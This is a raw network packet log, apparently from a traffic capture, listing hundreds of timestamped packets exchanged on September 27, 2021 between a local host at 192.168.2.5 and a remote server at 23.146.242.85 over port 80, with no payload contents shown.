Sep 27, 2021 14:57:22.833646059 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833662033 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833690882 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833717108 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833739996 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833769083 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833792925 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833815098 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833844900 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833868980 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833890915 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834027052 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834037066 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834094048 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834108114 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834110975 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834115982 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834121943 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834124088 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834188938 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834203959 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834242105 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834270000 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834306002 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834316015 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834335089 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834352970 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834357977 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834361076 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834363937 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834367037 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834369898 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834372997 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834372997 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834377050 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834383965 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834387064 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834391117 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834393978 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834397078 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834399939 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834399939 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834403038 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834407091 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834409952 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834413052 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834417105 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834419966 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834423065 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834424019 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834425926 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834433079 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834435940 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834439039 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834443092 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834445953 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834455013 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834472895 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834496021 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834554911 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834582090 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834664106 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.834875107 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834916115 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834942102 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.834965944 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835016966 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835038900 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.835043907 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835088968 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835091114 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.835112095 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835160971 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835186958 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835213900 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835237026 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835292101 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835319042 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835455894 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835484028 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835510969 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835535049 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835557938 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835582972 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835606098 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835685015 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835712910 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835733891 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835828066 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835907936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835946083 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835968018 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.835988998 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836011887 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836038113 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836059093 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836189985 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836224079 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836262941 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836291075 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.836323023 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.837763071 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837800026 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837805033 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837807894 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837810993 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837815046 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837817907 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837821007 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837824106 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837826967 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837830067 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837832928 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837835073 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837841034 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837846041 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837851048 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837871075 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837873936 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837877989 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.837881088 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.944672108 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944706917 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944732904 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944766998 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944832087 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944856882 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944888115 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.944864988 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.944952965 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.944957018 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.944961071 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.944962025 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945038080 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945060968 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945091009 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945110083 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945120096 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945143938 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945173025 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945180893 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945208073 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945230007 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945230007 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945271969 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945287943 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945324898 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945350885 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945375919 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945405006 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945496082 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945513010 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945518970 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945534945 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945558071 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945599079 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945621967 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945678949 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945689917 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945723057 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945784092 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945811033 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945871115 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945894957 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945894957 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945924044 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945949078 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.945950985 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945977926 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.945979118 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946027994 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946050882 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946053982 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946079016 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946101904 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946103096 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946121931 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946160078 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946163893 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946182966 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946204901 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946206093 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946224928 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946228027 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946261883 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946285009 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946301937 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946305037 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946357012 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946366072 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946368933 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946396112 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946414948 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946440935 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946482897 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946489096 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946527004 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946578026 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946602106 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946602106 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946630001 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946645021 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946666956 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946691036 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946706057 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946710110 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946753979 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946758986 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946902990 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946926117 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.946965933 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946986914 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.946990967 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947016954 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947038889 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947088957 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947103977 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947132111 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947144032 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947169065 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947185993 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947195053 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947202921 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947206974 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947227955 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947251081 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947273016 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947284937 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947292089 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947310925 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947333097 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947345972 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947351933 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947355986 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947380066 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947398901 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947419882 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947449923 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947505951 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947513103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947535992 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947555065 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947577000 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947587013 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947633982 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947658062 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947710991 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947710991 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947736025 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947753906 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947803974 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947809935 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947835922 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947850943 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947863102 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947873116 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947885990 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947922945 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.947938919 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.947969913 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948003054 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948026896 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948061943 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948064089 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948101997 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948127985 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948184013 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948210001 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948237896 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948251963 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948261023 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948283911 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948352098 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948379993 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948388100 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948407888 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948438883 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948472977 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948514938 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948534012 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948540926 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948564053 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948565960 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948584080 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948587894 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948615074 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948615074 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948628902 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948653936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948662996 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948676109 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948698997 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948712111 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948719978 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948757887 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948767900 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948807001 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948817968 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948829889 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948858023 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948874950 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.948879957 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948919058 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948941946 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.948993921 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949017048 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949016094 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949038029 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949062109 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949080944 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949085951 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949086905 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949089050 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949117899 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949120998 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949124098 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949126005 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949126959 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949146032 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949165106 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949193954 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949199915 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949222088 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949242115 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949244976 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949363947 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949372053 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949373007 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949400902 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949410915 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949428082 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949467897 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949484110 CEST	49752	80	192.168.2.5	23.146.242.85
